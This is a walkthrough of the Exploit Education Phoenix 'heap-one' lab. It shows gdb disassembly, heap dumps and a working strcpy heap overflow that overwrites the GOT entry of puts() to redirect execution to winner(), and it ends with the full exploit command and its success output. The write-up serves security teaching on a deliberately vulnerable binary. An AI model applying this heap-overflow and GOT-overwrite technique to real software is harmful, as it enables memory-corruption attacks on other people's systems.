phoenix - heap 1
Lets list the files using ls -la
,
user@phoenix-amd64:~$ ls -la
total 40
drwxr-xr-x 2 user user 4096 Jun 24 10:43 .
drwxr-xr-x 3 root root 4096 Jan 13 2019 ..
-rw-r--r-- 1 user user 3526 Jan 13 2019 .bashrc
-rw-r--r-- 1 user user 675 Jan 13 2019 .profile
-rwxr-xr-x 1 user user 21584 Jun 24 10:43 heap-one
Lets analyse the file type of the binary using file
command,
We will be using 32 bit
binary due to our memory address issue caused by null bytes
user@phoenix-amd64:~$ file heap-one
heap-one: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /opt/phoenix/i486-linux-musl/lib/ld-musl-i386.so.1, not stripped
It is a not stripped
binary, so we can view the symbols in it
Lets try running this binary,
user@phoenix-amd64:~$ ./heap-one
Segmentation fault
user@phoenix-amd64:~$ ./heap-one monish
Segmentation fault
user@phoenix-amd64:~$ ./heap-one monish monish
and that's a wrap folks!
user@phoenix-amd64:~$ ./heap-one monish monish monish
and that's a wrap folks!
So it is dependent on the argv
input
Lets view the source code for proper understanding,
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
struct heapStructure {
int priority;
char *name;
};
int main(int argc, char **argv) {
struct heapStructure *i1, *i2;
i1 = malloc(sizeof(struct heapStructure));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct heapStructure));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
void winner() {
printf(
"Congratulations, you've completed this level @ %ld seconds past the "
"Epoch\n",
time(NULL));
}
Here our program takes two arguments from input argv[1]
and argv[2]
And we have a struct
in this program named heapStructure
,
struct heapStructure {
int priority;
char *name;
};
Here we have an int
named priority
and char
named name
, which are allocated dynamically
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
Here argv[1]
and argv[2]
gets stored into i1
and i2
respectively with the help of strcpy
strcpy
is a vulnerable function which doesn’t use memory boundaries. We can use this as our advantage to overwrite other addresses
Lets list the functions available in the binary using our debugger,
(gdb) info functions
.....
0x08048790 frame_dummy
0x080487d5 main
0x0804889a winner
.....
So our target function winner
is at 0x0804889a
Disassembling main()
,
(gdb) disas main
Dump of assembler code for function main:
0x080487d5 <+0>: lea ecx,[esp+0x4]
0x080487d9 <+4>: and esp,0xfffffff0
0x080487dc <+7>: push DWORD PTR [ecx-0x4]
0x080487df <+10>: push ebp
0x080487e0 <+11>: mov ebp,esp
0x080487e2 <+13>: push ebx
0x080487e3 <+14>: push ecx
0x080487e4 <+15>: sub esp,0x10
0x080487e7 <+18>: mov ebx,ecx
0x080487e9 <+20>: sub esp,0xc
0x080487ec <+23>: push 0x8
0x080487ee <+25>: call 0x80490dc <malloc>
0x080487f3 <+30>: add esp,0x10
0x080487f6 <+33>: mov DWORD PTR [ebp-0xc],eax
0x080487f9 <+36>: mov eax,DWORD PTR [ebp-0xc]
0x080487fc <+39>: mov DWORD PTR [eax],0x1
0x08048802 <+45>: sub esp,0xc
0x08048805 <+48>: push 0x8
0x08048807 <+50>: call 0x80490dc <malloc>
0x0804880c <+55>: add esp,0x10
0x0804880f <+58>: mov edx,eax
0x08048811 <+60>: mov eax,DWORD PTR [ebp-0xc]
0x08048814 <+63>: mov DWORD PTR [eax+0x4],edx
0x08048817 <+66>: sub esp,0xc
0x0804881a <+69>: push 0x8
0x0804881c <+71>: call 0x80490dc <malloc>
0x08048821 <+76>: add esp,0x10
0x08048824 <+79>: mov DWORD PTR [ebp-0x10],eax
0x08048827 <+82>: mov eax,DWORD PTR [ebp-0x10]
0x0804882a <+85>: mov DWORD PTR [eax],0x2
0x08048830 <+91>: sub esp,0xc
0x08048833 <+94>: push 0x8
0x08048835 <+96>: call 0x80490dc <malloc>
0x0804883a <+101>: add esp,0x10
0x0804883d <+104>: mov edx,eax
0x0804883f <+106>: mov eax,DWORD PTR [ebp-0x10]
0x08048842 <+109>: mov DWORD PTR [eax+0x4],edx
0x08048845 <+112>: mov eax,DWORD PTR [ebx+0x4]
0x08048848 <+115>: add eax,0x4
0x0804884b <+118>: mov edx,DWORD PTR [eax]
0x0804884d <+120>: mov eax,DWORD PTR [ebp-0xc]
0x08048850 <+123>: mov eax,DWORD PTR [eax+0x4]
0x08048853 <+126>: sub esp,0x8
0x08048856 <+129>: push edx
0x08048857 <+130>: push eax
0x08048858 <+131>: call 0x8048560 <strcpy@plt>
0x0804885d <+136>: add esp,0x10
0x08048860 <+139>: mov eax,DWORD PTR [ebx+0x4]
0x08048863 <+142>: add eax,0x8
0x08048866 <+145>: mov edx,DWORD PTR [eax]
0x08048868 <+147>: mov eax,DWORD PTR [ebp-0x10]
0x0804886b <+150>: mov eax,DWORD PTR [eax+0x4]
0x0804886e <+153>: sub esp,0x8
0x08048871 <+156>: push edx
0x08048872 <+157>: push eax
0x08048873 <+158>: call 0x8048560 <strcpy@plt>
0x08048878 <+163>: add esp,0x10
0x0804887b <+166>: sub esp,0xc
0x0804887e <+169>: push 0x804ab70
0x08048883 <+174>: call 0x80485b0 <puts@plt>
0x08048888 <+179>: add esp,0x10
0x0804888b <+182>: mov eax,0x0
0x08048890 <+187>: lea esp,[ebp-0x8]
0x08048893 <+190>: pop ecx
0x08048894 <+191>: pop ebx
0x08048895 <+192>: pop ebp
0x08048896 <+193>: lea esp,[ecx-0x4]
0x08048899 <+196>: ret
Lets set our breakpoint and analyze our heap memory,
0x08048866 <+145>: mov edx,DWORD PTR [eax]
0x08048868 <+147>: mov eax,DWORD PTR [ebp-0x10]
0x0804886b <+150>: mov eax,DWORD PTR [eax+0x4]
0x0804886e <+153>: sub esp,0x8
0x08048871 <+156>: push edx
0x08048872 <+157>: push eax
0x08048873 <+158>: call 0x8048560 <strcpy@plt>
-> 0x08048878 <+163>: add esp,0x10
0x0804887b <+166>: sub esp,0xc
Lets fix our break point here so that we can check our values
(gdb) b *0x08048878
Breakpoint 1 at 0x8048878
(gdb) r AAAABBBB CCCCDDDD
Starting program: /home/user/heap-one AAAABBBB CCCCDDDD
Breakpoint 1, 0x08048878 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xf7e69038 → "CCCCDDDD"
$ebx : 0xffffd720 → 0x00000003
$ecx : 0x0
$edx : 0xffffd8e3 → 0x5f534c00
$esp : 0xffffd6e0 → 0xf7e69038 → "CCCCDDDD"
$ebp : 0xffffd708 → 0xffffd7a4 → 0xffffd8e4 → "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
$esi : 0xffffd794 → 0xffffd8be → "/home/user/heap-one"
$edi : 0x3
$eip : 0x08048878 → <main+163> add esp, 0x10
$eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd6e0│+0x0000: 0xf7e69038 → "CCCCDDDD" ← $esp
0xffffd6e4│+0x0004: 0xffffd8db → "CCCCDDDD"
0xffffd6e8│+0x0008: 0x00000000
0xffffd6ec│+0x000c: 0x00000000
0xffffd6f0│+0x0010: 0x00000000
0xffffd6f4│+0x0014: 0x00000000
0xffffd6f8│+0x0018: 0xf7e69028 → 0x00000002
0xffffd6fc│+0x001c: 0xf7e69008 → 0x00000001
─────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x804886f <main+154> in al, dx
0x8048870 <main+155> or BYTE PTR [edx+0x50], dl
0x8048873 <main+158> call 0x8048560 <strcpy@plt>
→ 0x8048878 <main+163> add esp, 0x10
0x804887b <main+166> sub esp, 0xc
0x804887e <main+169> push 0x804ab70
0x8048883 <main+174> call 0x80485b0 <puts@plt>
0x8048888 <main+179> add esp, 0x10
0x804888b <main+182> mov eax, 0x0
─────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "heap-one", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048878 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────
Lets check our values,
(gdb) print $ebp-0xc
$1 = (void *) 0xffffd6fc
(gdb) x/xw 0xffffd6fc
0xffffd6fc: 0xf7e69008
Values for i1
is at 0xf7e69008
,
(gdb) x/20x 0xf7e69008
0xf7e69008: 0x00000001 0xf7e69018 0x00000000 0x00000011
0xf7e69018: 0x41414141 0x42424242 0x00000000 0x00000011
0xf7e69028: 0x00000002 0xf7e69038 0x00000000 0x00000011
0xf7e69038: 0x43434343 0x44444444 0x00000000 0x000fffc1
0xf7e69048: 0x00000000 0x00000000 0x00000000 0x00000000
Here are our values in heap
The values of priority
(1,2) and name
(argv[1],argv[2]) are stored here
v1->priority ----- ----- address for i1->name to write
↓ ↓
0xf7e69008: 0x00000001 0xf7e69018 0x00000000 0x00000011
0xf7e69018: 0x41414141 0x42424242 0x00000000 0x00000011
↑
----- v1->name data
v2->priority ----- ----- address for i2->name to write
↓ ↓
0xf7e69028: 0x00000002 0xf7e69038 0x00000000 0x00000011
0xf7e69038: 0x43434343 0x44444444 0x00000000 0x000fffc1
↑
----- v2->name data
While entering input, we cannot overwrite 0xf7e69018
,
But we can overwrite 0xf7e69038
with our input
We need 20 bytes
to reach the place of 0xf7e69038
If we place some address after 20 bytes, we can write our own value into the address from our argv[2]
input data
Lets try our exploit,
(gdb) r $(python -c "print('A'*20+'BBBB')") CCCCDDDD
Starting program: /home/user/heap-one $(python -c "print('A'*20+'BBBB')") CCCCDDDD
Program received signal SIGSEGV, Segmentation fault.
0xf7f840db in stpcpy () from /opt/phoenix/i486-linux-musl/lib/ld-musl-i386.so.1
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x42424242 ("BBBB"?)
$ebx : 0xf7ffb000 → 0x0008dedc
$ecx : 0x43
$edx : 0xffffd8db → "CCCCDDDD"
$esp : 0xffffd6a4 → 0xf7ffb000 → 0x0008dedc
$ebp : 0xffffd6f8 → 0xffffd794 → 0xffffd8e4 → "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
$esi : 0x42424242 ("BBBB"?)
$edi : 0x3
$eip : 0xf7f840db → <stpcpy+59> mov BYTE PTR [eax], cl
$eflags: [carry parity adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd6a4│+0x0000: 0xf7ffb000 → 0x0008dedc ← $esp
0xffffd6a8│+0x0004: 0x42424242
0xffffd6ac│+0x0008: 0xf7f8453e → <strcpy+30> add esp, 0x14
0xffffd6b0│+0x000c: 0x42424242
0xffffd6b4│+0x0010: 0xffffd8db → "CCCCDDDD"
0xffffd6b8│+0x0014: 0x00000008
0xffffd6bc│+0x0018: 0x00000008
0xffffd6c0│+0x001c: 0xf7f84527 → <strcpy+7> add ebx, 0x76ad9
─────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0xf7f840d3 <stpcpy+51> add eax, 0x1
0xf7f840d6 <stpcpy+54> movzx ecx, BYTE PTR [edx]
0xf7f840d9 <stpcpy+57> test cl, cl
→ 0xf7f840db <stpcpy+59> mov BYTE PTR [eax], cl
0xf7f840dd <stpcpy+61> jne 0xf7f840d0 <stpcpy+48>
0xf7f840df <stpcpy+63> pop ebx
0xf7f840e0 <stpcpy+64> pop esi
0xf7f840e1 <stpcpy+65> ret
0xf7f840e2 <stpcpy+66> lea esi, [esi+0x0]
─────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "heap-one", stopped, reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7f840db → stpcpy()
[#1] 0xf7f8453e → strcpy()
────────────────────────────────────────────────────────────────────────────────────────────────────
Now lets view our heap values,
(gdb) x/20w 0xf7e69008
v2->priority ----- ----- address for i2->name to write
↓ ↓
0xf7e69008: 0x00000001 0xf7e69018 0x00000000 0x00000011
0xf7e69018: 0x41414141 0x41414141 0x41414141 0x41414141
(overwritten) (overwritten)
v2->priority ----- ----- address for i2->name to write
↓ ↓
0xf7e69028: 0x41414141 0x42424242 0x00000000 0x00000011
0xf7e69038: 0x00000000 0x00000000 0x00000000 0x000fffc1
0xf7e69048: 0x00000000 0x00000000 0x00000000 0x00000000
Its time to hijack our winner()
function by GOT overwrite
We need all neccessary functions to place our data into heap, except puts()
,
Lets get the GOT address of puts()
,
(gdb) x/3i 0x80485b0
0x80485b0 <puts@plt>: jmp DWORD PTR ds:0x804c140
0x80485b6 <puts@plt+6>: push 0x28
0x80485bb <puts@plt+11>: jmp 0x8048550
Therfore the GOT address of puts()
is 0x804c140
(gdb) x/s 0x804c140
0x804c140 <puts@got.plt>: "\356\210\373\367*?\372\367jo\373\367)@\372\367\024\031\371\367\341\335\373\367\360C\374\367\063\373\370\367\037\366\370\367"
Now, lets overwrite the GOT of puts()
with winner()
,
Running out exploit,
user@phoenix-amd64:~$ ./heap-one $(python -c "print('A'*20+'\x40\xc1\x04\x08')") $(python -c "print('\x9a\x88\x04\x08')")
Congratulations, you've completed this level @ 1625324831 seconds past the Epoch
Done! we have completed “heap-one” challenge